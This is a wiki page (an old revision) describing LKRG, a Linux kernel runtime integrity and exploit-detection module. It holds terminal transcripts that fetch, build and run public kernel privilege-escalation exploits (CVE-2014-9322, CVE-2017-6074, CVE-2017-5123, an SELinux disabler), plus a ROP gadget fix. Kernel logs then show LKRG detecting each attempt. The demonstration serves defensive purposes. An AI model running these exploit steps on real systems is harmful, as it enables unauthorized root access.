This is an old revision of the document!
LKRG is free and Open Source project distributed primarily in source code form. You can download it and prepare custom build by yourself. However, if you would rather use a commercial product tailored for your specific operating system, please consider LKRG Pro, which is distributed primarily in the form of “native” packages for the target operating systems and in general is meant to be easier to install and use while delivering optimal performance. Additionally, you will help in development of the project (economically). LKRG Pro is available <here>.
The Linux Kernel Runtime Guard protects system by comparing hashes which are calculated from the most important kernel region / sections / structures with the internal database hashes. Additionally, special efforts have been made to individually protect all extensions of the kernel (modules). To make the project fully functional, the module should be initially loaded on a clean system – e.g. directly after installation or after booting clean system. At this moment it is possible to create a trusted database of hashes.
There are two main ideas behind the Linux Kernel Runtime Guard (LKRG):
Currently, we maintain two versions of the LKRG project:
Security promises delivered by the LKRG can't be briefly summarized and need to be discussed in details. Please navigate to the following page describing the threat model of the project:
The database contains hashes calculated from the following parts of the system:
This component is very critical from the stability and security point of view for various reasons. It is very common that CPU has more than one core. Each core from each CPU must be protected separately and functions generating or checking hashes must be run on each individual core as exclusive task to guarantee nothing is changing the data in the meantime.
NOTE: component implementing this functionality is one of the most complicated in the system. Since multiple cores might be present in the system, it is possible that any random core in any random time can go offline and/or online. Whenever this situation happens, LKRG must rebuild internal database and protect the new cores’(if became online) most critical data. Additionally, entire CPU might go offline or be hot-plugged in. This is especially true on the Virtual Machines (VMs). It is not a rare situation when a new Virtual CPUs are assigned to the currently run VM. New (V)CPU might have multiple cores as well, and situation of hot-plugging (V)CPU must be correctly handled by the LKRG to be effective and provide the same functionality whenever this situation appears.
Hot-plugging (V)CPU forces to take into account another corner case scenario, when currently running system has only 1 (V)CPU with 1 core and there is plugged a new core or (V)CPU. Linux boots as UniProcessor (UP) kernel if platform has only 1 (V)CPU with only 1 core. However, as soon as additional core or (V)CPU appears, dynamic SMP boot kernel process will be launched. Newly dynamically loaded SMP kernel overwrites some UP macros, changes the assembly code of the kernel AND all loaded modules! This means entire database with hashes must be recalculated! LKRG correctly takes all of these situations into account and handles all of these corner case scenarios.
For each individual core in all (V)CPUs IPI are sent to exclusively run LKRG function which gathers and calculates critical CPU data including:
Additionally, LKRG keeps information about:
This covers almost entire Linux kernel itself, like syscall tables, all procedures, all function, all IRQ handlers, etc.
Linux Kernel exception table
Entire Linux Kernel .rodata section – it should never change during the running system.
Optionally, this might be enabled but by default it is not taken into account. The reason behind that is that some of the memory ranges might change assignment by dynamically loaded drivers. In corner cases it is also possible that kernel itself may change it. If administrator is 100% sure what he is doing, this section might be enabled.
LKRG is trying to discover how many modules are there currently in the system and keeps tracking them. For each individual module the following information is tracked down based on the module link list:
For each individual module the following information is tracked down based on the KOBJs:
Both information must match (if they exist in both places) and each of them is being tracked individually. Additionally, the following information is being tracked down:
The function for checking the system integrity will be executed:
This list is not closed and will be extended.
Based on the assumption that preventing from the unsupported modifications of the Linux kernel is correctly implemented, LKRG implements beta version of the “Exploit Detection” feature. The aim of it is to detect kernel exploitation process by detecting specific data corruption in the kernel.
Current version of the feature maintains its own task list in the system. During task creation (process or thread) critical attributes are independently tracked down, including:
If any of these values during system lifetime is different in the system comparing to what was tracked down, LKRG will detect a possible exploitation attack. The following values are also tracked down but currently not used:
Additionally, LKRG is guarding following SELinux variables:
Current version of the LKRG enforces integrity check every time one of the following syscalls or functionality is ever executed by any process at any time:
Checks are done for every process in the system, not just for the one which executed syscall. This list is not closed and will be evolving.
Exploit Code: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz
Successful exploitation process can be seen as follow:
If LKRG is installed, exploitation process is detected and successfully stopped:
[pi3@localhost ~]$ uname -a Linux localhost.localdomain 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux [pi3@localhost ~]$ cat /etc/redhat-release Fedora release 20 (Heisenbug) [pi3@localhost ~]$ wget http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz --2017-10-28 13:49:58-- http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz Resolving site.pi3.com.pl (site.pi3.com.pl)... 94.23.197.80 Connecting to site.pi3.com.pl (site.pi3.com.pl)|94.23.197.80|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5448 (5.3K) [application/x-gzip] Saving to: ‘p_cve-2014-9322.tar.gz’ 100%[===================================================================================================================>] 5,448 13.8KB/s in 0.4s 2017-10-28 13:50:07 (13.8 KB/s) - ‘p_cve-2014-9322.tar.gz’ saved [5448/5448] [pi3@localhost ~]$ tar zxvf p_cve-2014-9322.tar.gz p_CVE-2014-9322/ p_CVE-2014-9322/z_shell.c p_CVE-2014-9322/db.h p_CVE-2014-9322/README p_CVE-2014-9322/procrop.c p_CVE-2014-9322/setss.S p_CVE-2014-9322/swapgs.c [pi3@localhost ~]$ cd p_CVE-2014-9322/ [pi3@localhost p_CVE-2014-9322]$ gcc z_shell.c -o z_shell [pi3@localhost p_CVE-2014-9322]$ cp z_shell /tmp/pi3 [pi3@localhost p_CVE-2014-9322]$ ls -al /tmp/pi3 -rwxrwxr-x 1 pi3 pi3 8764 Oct 28 13:51 /tmp/pi3 [pi3@localhost p_CVE-2014-9322]$ /tmp/pi3 sh-4.2$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3) sh-4.2$ exit exit [pi3@localhost p_CVE-2014-9322]$ gcc -o procrop procrop.c setss.S [pi3@localhost p_CVE-2014-9322]$ gcc -o p_write8 swapgs.c setss.S -lpthread swapgs.c: In function ‘main’: swapgs.c:175:29: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] : "r"(4), "r"((int)p_to_d), "r"(1) ^ [pi3@localhost p_CVE-2014-9322]$ ./procrop 1 & [1] 20812 [pi3@localhost p_CVE-2014-9322]$ ...::: -=[ Exploit for CVE-2014-9322 ]=- :::... by Rafal 'n3rgal' Wojtczuk && Adam 'pi3' Zabrocki [+] Using kernel target: 3.11.10-301.fc20.x86_64 [pi3@localhost p_CVE-2014-9322]$ ps aux|grep procrop pi3 20812 39.6 0.0 4308 320 pts/2 RL 13:54 0:05 ./procrop 1 pi3 20814 0.0 0.0 112664 928 pts/2 S+ 13:54 0:00 grep --color=auto procrop [pi3@localhost p_CVE-2014-9322]$ ./p_write8 1 ...::: -=[ Exploit for CVE-2014-9322 ]=- :::... by Rafal 'n3rgal' Wojtczuk && Adam 'pi3' Zabrocki [+] Using kernel target: 3.11.10-301.fc20.x86_64 [+] mmap() memory in first 2GB of address space... DONE! [+] Preparing kernel structures... DONE! (ovbuf at 0x602140) [+] Creating LDT for this process... DONE! [+] Press enter to start fun-game... [exploit] pthread runningAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [1]+ Killed ./procrop 1 Segmentation fault (core dumped) [pi3@localhost p_CVE-2014-9322]$ ls -al /tmp/pi3 -rwxrwxr-x 1 pi3 pi3 8764 Oct 28 13:51 /tmp/pi3 [pi3@localhost p_CVE-2014-9322]$ /tmp/pi3 sh-4.2$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3) sh-4.2$ exit exit [pi3@localhost p_CVE-2014-9322]$
If LKRG is installed, exploitation process is detected and successfully stopped:
[root@localhost p_lkrg-main]# tail -f /var/log/kern.log Oct 28 13:55:07 localhost kernel: [1026127.748974] traps: p_write8[20820] general protection ip:400dd0 sp:7f018cc05f00 error:0 in p_write8[400000+2000] Oct 28 13:55:07 localhost kernel: [1026127.772356] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772365] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772368] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772370] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772372] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772374] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772376] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772378] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772380] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20812]! Oct 28 13:55:07 localhost kernel: [1026127.772880] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772885] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772887] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772889] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772891] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772893] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772895] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772897] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.772899] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]! Oct 28 13:55:07 localhost kernel: [1026127.773005] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773008] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773010] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773012] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773014] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773016] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773018] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773020] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773022] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]! Oct 28 13:55:07 localhost kernel: [1026127.773237] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773244] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773246] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773248] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773250] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773252] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773254] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773255] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.773258] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]! Oct 28 13:55:07 localhost kernel: [1026127.793696] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793706] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793709] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793711] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793713] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793715] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793717] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793719] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.793721] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20821]! Oct 28 13:55:07 localhost kernel: [1026127.802655] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802665] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802668] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802670] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802672] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802675] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802677] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802679] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :( Oct 28 13:55:07 localhost kernel: [1026127.802681] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20812]!
Successful exploitation process can be seen as follow:
If LKRG is installed, exploitation process is detected and successfully stopped:
login as: pi3 pi3@10.82.126.31's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-62-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 111 packages can be updated. 33 updates are security updates. Last login: Sat Oct 28 14:03:29 2017 from 10.82.128.183 pi3@pi3-ubuntu:~$ uname -a Linux pi3-ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux pi3@pi3-ubuntu:~$ cat /etc/debian_version stretch/sid pi3@pi3-ubuntu:~$ wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-6074/poc.c --2017-10-28 14:05:40-- https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-6074/poc.c Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 15767 (15K) [text/plain] Saving to: ‘poc.c’ poc.c 100%[============================================================================>] 15.40K --.-KB/s in 0.03s 2017-10-28 14:05:40 (591 KB/s) - ‘poc.c’ saved [15767/15767] pi3@pi3-ubuntu:~$ gcc poc.c -o poc pi3@pi3-ubuntu:~$ ./poc [.] namespace sandbox setup successfully [.] disabling SMEP & SMAP [.] scheduling 0xffffffff81064550(0x406e0) [.] waiting for the timer to execute [.] done [.] SMEP & SMAP should be off now [.] getting root [.] executing 0x402043 [.] done [.] should be root now [.] checking if we got root Killed pi3@pi3-ubuntu:~$
If LKRG is installed, exploitation process is detected and successfully stopped:
[root@localhost p_lkrg-main]# tail -f /var/log/kern.log Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.745210] DCCP: Activated CCID 2 (TCP-like) Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.762206] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.762241] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.762272] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:54 pi3-ubuntu kernel: [ 48.762537] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.715824] hv_balloon: Received INFO_TYPE_MAX_PAGE_CNT Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.715850] hv_balloon: Data Size is 8 Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832514] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832786] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832800] dccp_sample_rtt: unusable RTT sample 0, using min Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832916] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832956] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'real_cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.832990] [p_lkrg] <Exploit Detection> process[1371 | poc] has different UID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833011] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833034] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833056] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833083] [p_lkrg] <Exploit Detection> process[1371 | poc] has different GID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833103] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833125] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833147] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833167] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 1371]! Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833223] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833257] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'real_cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833289] [p_lkrg] <Exploit Detection> process[1371 | poc] has different UID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833308] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833327] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833345] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSUID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833364] [p_lkrg] <Exploit Detection> process[1371 | poc] has different GID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833383] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833401] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833420] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSGID! [1000 vs 0 :( Oct 28 14:07:55 pi3-ubuntu kernel: [ 49.833439] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 1371]!
Successful exploitation process can be seen as follow:
login as: pi3 pi3@192.168.1.30's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-12-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 143 packages can be updated. 60 updates are security updates. Unable to get valid context for pi3 Last login: Mon Dec 18 21:43:14 2017 from 192.168.1.16 pi3@pi3-ubuntu:~$ cd selinux/ pi3@pi3-ubuntu:~/selinux$ wget http://www.openwall.com/lists/oss-security/2017/10/25/2/1 --2017-12-18 21:38:55-- http://www.openwall.com/lists/oss-security/2017/10/25/2/1 Resolving www.openwall.com (www.openwall.com)... 195.42.179.202 Connecting to www.openwall.com (www.openwall.com)|195.42.179.202|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2943 (2.9K) [text/plain] Saving to: ‘1’ 1 100%[============================================================================>] 2.87K --.-KB/s in 0s 2017-12-18 21:38:55 (585 MB/s) - ‘1’ saved [2943/2943] pi3@pi3-ubuntu:~/selinux$ mv 1 selinux.c pi3@pi3-ubuntu:~/selinux$ # Need to fix some offsets and code a bit to not crash the kernel ;p pi3@pi3-ubuntu:~/selinux$ mcedit -d selinux.c pi3@pi3-ubuntu:~/selinux$ gcc selinux.c -o selinux pi3@pi3-ubuntu:~/selinux$ ./selinux [+] Leak size=144 bytes [+] Got kernel base: 0xffffffffa9a00000 [+] Got selinux_enforcing: 0xffffffffaaed1394 [+] Got selinux_enabled: 0xffffffffaaed1390 [+] Overwriting selinux_enforcing... [+] Overwriting selinux_enabled... [+] SELinux disabled! pi3@pi3-ubuntu:~/selinux$
If LKRG is installed, exploitation process is detected and successfully revert SELinux modifications:
[root@localhost p_lkrg-main]# tail -f /var/log/kern.log Dec 18 22:07:20 pi3-ubuntu kernel: [ 35.473917] p_lkrg: loading out-of-tree module taints kernel. Dec 18 22:07:20 pi3-ubuntu kernel: [ 35.473975] p_lkrg: module verification failed: signature and/or required key missing - tainting kernel Dec 18 22:07:33 pi3-ubuntu kernel: [ 47.934117] kauditd_printk_skb: 2 callbacks suppressed Dec 18 22:07:33 pi3-ubuntu kernel: [ 47.934119] audit: type=1107 audit(1513663653.021:31): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:kernel_t:s0 msg='Unknown permission start for class system exe="/lib/systemd/systemd" sauid=0 hostname=? addr=? terminal=?' Dec 18 22:07:33 pi3-ubuntu kernel: [ 47.935801] audit: type=1107 audit(1513663653.022:32): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:kernel_t:s0 msg='Unknown permission start for class system exe="/lib/systemd/systemd" sauid=0 hostname=? addr=? terminal=?' Dec 18 22:07:36 pi3-ubuntu kernel: [ 51.372606] hv_balloon: INFO_TYPE_MAX_PAGE_CNT = 268435456 Dec 18 22:07:37 pi3-ubuntu kernel: [ 52.257140] [p_lkrg] <Exploit Detection> Detected data corruption against SELINUX! 'selinux_enabled' has different value [0 vs 1] than expected. Original value will be restored! Dec 18 22:07:38 pi3-ubuntu kernel: [ 53.257408] [p_lkrg] <Exploit Detection> Detected data corruption against SELINUX! 'selinux_enabled' has different value [0 vs 1] than expected. Original value will be restored!
Exploit Write-up: https://salls.github.io/Linux-Kernel-CVE-2017-5123/
Exploit Code: https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c
Google's SECCOMP filter: https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter
Note: There is a bug in the ROP chain in that exploit. To be able to successfully run the exploit code following gadget must be fixed:
#define INCREASE_RSP_0x60 0xffffffff811465e6
On Ubuntu kernel 4.13.0-12-generic this gadget increases the stack by 0x50 bytes not 0x60:
(gdb) x/4i 0xffffffffa5200000 + 0x1465e6 0xffffffffa53465e6: add $0x50,%rsp 0xffffffffa53465ea: pop %r10 0xffffffffa53465ec: pop %rbp 0xffffffffa53465ed: retq (gdb)
Appropriate changes need to be made in do_exploit() function to take this into account.
Successful exploitation process can be seen as follow:
login as: pi3 pi3@192.168.1.30's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-12-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 143 packages can be updated. 60 updates are security updates. Unable to get valid context for pi3 Last login: Tue Dec 19 19:33:00 2017 from 192.168.1.16 pi3@pi3-ubuntu:~$ mkdir -p seccomp/exp/ pi3@pi3-ubuntu:~$ cd seccomp/exp/ pi3@pi3-ubuntu:~/seccomp/exp$ wget https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter --2017-12-19 19:28:10-- https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter Resolving github.com (github.com)... 192.30.255.112, 192.30.255.113 Connecting to github.com (github.com)|192.30.255.112|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/chrome_seccomp_filter [following] --2017-12-19 19:28:10-- https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/chrome_seccomp_filter Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 3712 (3.6K) [application/octet-stream] Saving to: ‘chrome_seccomp_filter’ chrome_seccomp_filter 100%[============================================================================>] 3.62K --.-KB/s in 0s 2017-12-19 19:28:10 (80.1 MB/s) - ‘chrome_seccomp_filter’ saved [3712/3712] pi3@pi3-ubuntu:~/seccomp/exp$ wget https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c --2017-12-19 19:30:00-- https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 13121 (13K) [text/plain] Saving to: ‘exploit_no_smap.c’ exploit_no_smap.c 100%[============================================================================>] 12.81K --.-KB/s in 0.03s 2017-12-19 19:30:00 (450 KB/s) - ‘exploit_no_smap.c’ saved [13121/13121] pi3@pi3-ubuntu:~/seccomp/exp$ # Need to fix exploit code (ROP gadget alignment) to not crash the kernel ;p pi3@pi3-ubuntu:~/seccomp/exp$ mcedit -d exploit_no_smap.c pi3@pi3-ubuntu:~/seccomp/exp$ gcc exploit_no_smap.c -o exploit_no_smap -lpthread pi3@pi3-ubuntu:~/seccomp/exp$ ./exploit_no_smap Installed sandboxes. Seccomp, chroot, uid namespace == found kernel base 0xffffffffa5200000 Executing rop chain Should be root # id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0 # exit
If LKRG is installed, exploitation process is detected and successfully stopped:
pi3@pi3-ubuntu:~/seccomp/exp$ ./exploit_no_smap Installed sandboxes. Seccomp, chroot, uid namespace found kernel base 0xffffffffa5200000 Executing rop chain Should be root Killed pi3@pi3-ubuntu:~/seccomp/exp$
If LKRG is installed, exploitation process is detected and successfully stopped:
